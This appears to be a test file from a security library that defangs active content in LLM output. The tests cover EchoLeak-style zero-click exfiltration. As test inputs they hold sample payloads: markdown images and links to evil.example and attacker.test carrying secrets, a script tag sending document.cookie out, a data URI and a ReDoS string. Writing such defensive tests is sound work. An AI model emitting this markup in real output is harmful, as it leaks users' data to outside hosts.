1
0
Fork 0
llm-ingestion-pipeline-secu.../tests/test_neutralize.py
Kjell Tore Guttormsen 1c6816cdfe
fix(owasp): qualify every catalog number with the 2026 edition
OWASP's Top 10 for LLM Applications 2026 renumbered the list; only LLM01
and LLM02 kept their meaning. Every finding's `owasp` was written against
2025 with no year, so EchoLeak findings said LLM05, which in 2026 means
Data and Model Poisoning. Row 2 of the 2026 done-criterion counted 95
such sites at 6702d7a (82 old meaning, 13 wrong); it is now 0.

- Producers name the risk, never the number: one table (`_owasp.py`)
  owns `LLMnn:2026`. The vendored lexicon stays byte-equal with commons
  and gets its year where the finding is made; a commons number whose
  meaning moved between editions raises instead of being guessed.
- Mechanical map from the 2025 meaning (verified against the publisher
  in session 1): LLM05 -> LLM10:2026, LLM06 -> LLM03:2026,
  LLM10 -> LLM06:2026, LLM08 -> LLM09:2026, LLM04 -> LLM05:2026.

The 13 wrong-meaning sites, judged:
- Factual poisoning (PoisonedRAG gap, and the test that follows it):
  LLM05:2026. The 2026 text names "RAG Knowledge Base Poisoning" as its
  example 6. It said LLM09, which was Misinformation.
- Fail-secure (README row, matrix row): no number. It is the guard's own
  failure semantics; no edition describes it. Was LLM10.
- Parser-surface refusals (nested mapping, block scalar, quoted flow
  element, off-allowlist key): no number. Refusing a shape the parser
  would have to interpret is not resource consumption. Was LLM10. The
  anchor and merge-key rows stay LLM06:2026 (alias expansion is DoS).
- `resource` URL and cross-link scheme validation (4): no number. They
  validate received bundle metadata; LLM10:2026 is about model output
  and says input validation belongs to LLM01. Was LLM05.
- `_raise_case` default (OKF path traversal, absolute path, reserved
  name, non-.md, bundle escape): no number. None is prompt injection.
  Was LLM01.
A doubtful number would be the misreading the year exists to prevent,
so `Case.owasp` is now Optional and the matrix prints "-".

Self-safety (input caps, ReDoS) keeps LLM06:2026: the 2026 text, read at
the publisher, covers "input flood ... exploiting processing
inefficiencies" and application-side rechunking. The README's LLM09
anchor (Misinformation) is dropped; it was the factual-poisoning row.

The permanent test (tests/test_catalog_numbers.py) fails on an old or
wrong number, on a number without the year outside the vendored
lexicon, and on any finding the coverage matrix drives whose `owasp`
lacks the newest year; "newest" is read from the catalog register. The
census holds its wrong-rules to their counts at the frozen revision
only, so the frozen listing (da1aa0fa...6f) is unchanged.
2026-10-31 14:20:35 +01:00

194 lines
8.3 KiB
Python

"""Tests for active-content neutralization (build order step 6).
``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
data zero-click. These carriers are neither injection strings nor high-entropy,
so lexicon + entropy miss them entirely.
Invariants mirror the sanitizer: clean output returns byte-identical with an
empty report; only active-content constructs are ever rewritten. Mutation lives
here, kept separate from the report-only output gate (design principles 3 & 4).
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
"""
import pytest
from llm_ingestion_guard.neutralize import neutralize
from llm_ingestion_guard.report import Severity, Source
from redos_clock import scan_seconds
def test_clean_output_is_byte_identical():
text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_default_source_is_output():
# Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
result = neutralize("![x](https://evil.example/leak)")
assert result.report.found is True
assert all(f.source is Source.OUTPUT for f in result.report.findings)
def test_markdown_image_is_defanged_high_severity():
# The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
result = neutralize("![logo](https://evil.example/leak?data=SECRET)")
assert "https://evil.example" not in result.text # fetchable URL is gone
assert "hxxps" in result.text
assert "logo" in result.text # alt text preserved for audit
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
assert len(img) == 1
assert img[0].severity is Severity.HIGH
assert img[0].detector == "neutralize"
assert img[0].owasp == "LLM10:2026"
def test_defanged_url_is_not_resolvable():
result = neutralize("![x](https://evil.example/x)")
# Scheme neutralized and host dots bracketed -> no renderer will resolve it.
assert "hxxps://evil[.]example" in result.text
def test_secret_exfil_url_no_longer_fetchable():
exfil = "STOLEN-SESSION-DATA"
result = neutralize(f"![ ](http://attacker.test/c?k={exfil})")
# The secret text may remain visible, but never inside a fetchable URL.
assert "http://attacker.test" not in result.text
assert "hxxp://attacker[.]test" in result.text
def test_inline_link_is_defanged_medium():
result = neutralize("click [here](https://evil.example/go) now")
assert "https://evil.example" not in result.text
assert "here" in result.text
link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
assert len(link) == 1
assert link[0].severity is Severity.MEDIUM
def test_image_is_not_double_counted_as_link():
result = neutralize("![alt](https://evil.example/x)")
labels = {f.label for f in result.report.findings}
assert "neutralize:markdown-image" in labels
assert "neutralize:markdown-link" not in labels
def test_reference_style_link_definition_is_defanged():
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
result = neutralize(text)
assert "https://evil.example" not in result.text
assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
def test_angle_bracket_autolink_is_defanged():
result = neutralize("read more <https://evil.example/x> here")
assert "https://evil.example" not in result.text
assert "hxxps://evil[.]example" in result.text
assert any(f.label == "neutralize:autolink" for f in result.report.findings)
def test_raw_active_html_is_escaped():
result = neutralize('<img src="https://evil.example/leak?d=x">')
assert "<img" not in result.text # no longer renders as active content
assert "&lt;img" in result.text
html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
assert len(html) == 1
assert html[0].severity is Severity.HIGH
@pytest.mark.parametrize("cid,text", [
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
("attributeless-base", "<base />"),
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
# target — but the mutator still escapes them, because a human auditing
# defanged output should see the markup that was there.
("end-tag", "</a>"),
("mdx-wrapper-component", "<Frame>"),
("self-closing-media", "<video />"),
("img-without-src", '<img alt="a diagram">'),
])
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed
# its URL-attribute branch to external targets and dropped `<base>` from the name
# set; the opt-in MUTATOR keeps defanging anything. Over-defanging costs nothing
# here — it is auditable and blocks no disposition — while under-defanging would
# hand a human a live construct.
#
# Pinned because the two predicates are separate symbols as of this change
# (`is_active_tag` vs `is_defangable_tag`). Before the split, `neutralize`
# imported the scanner's predicate by name, so narrowing it would have moved the
# mutator silently — no test in this suite discriminated the two.
result = neutralize(text)
assert result.report.found is True, cid
assert any(f.label == "neutralize:raw-html" for f in result.report.findings), cid
assert "&lt;" in result.text, f"{cid}: not escaped -- {result.text!r}"
def test_benign_formatting_html_is_left_untouched():
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_script_tag_is_neutralized():
result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
assert "<script>" not in result.text
assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
def test_standalone_data_uri_is_defanged():
result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
assert "data:text/html" not in result.text
assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
def test_data_uri_does_not_match_inside_a_word():
# "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
text = "the metadata: field is documented here"
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_multiple_images_are_counted():
result = neutralize("![a](https://x.example/1) ![b](https://y.example/2)")
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
assert img.count == 2
def test_source_override_is_respected():
result = neutralize("![x](https://evil.example/x)", source=Source.INPUT)
assert all(f.source is Source.INPUT for f in result.report.findings)
def test_prose_with_lone_brackets_and_angles_is_identical():
# FP guards: none of these are active constructs.
text = "if a < b and c > d then see [note] and call f(x)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
# --- self-safety (OWASP LLM06:2026): the long-attribute arm -----------------------
# Second call site of the same defect pinned in test_active_content.py: the
# defanger runs `URL_IN_TEXT_RE` over each active tag's body. 14.9s at 100_000
# chars, exponent 1.91-2.22. `neutralize` applies no input cap either.
_ATTR_REDOS_N = 100_000
def test_crafted_long_attribute_tag_stays_bounded():
# Carrier stays `<a `, unlike the scanner-side twin in test_active_content.py:
# the mutator keeps the whole tag set via `is_defangable_tag`, so 0.7.0's
# no-URL narrowing did not make `<a >` inert here. Verified by measurement,
# not by symmetry — see the comment on that row for what killed it there.
payload = "<a " + "A" * _ATTR_REDOS_N + ">"
assert scan_seconds(neutralize, payload) < 2.0
def test_url_defanging_inside_a_tag_survives_the_redos_fix():
result = neutralize("<a href=-http://evil.com>x</a>")
assert "hxxp" in result.text
assert "http://evil.com" not in result.text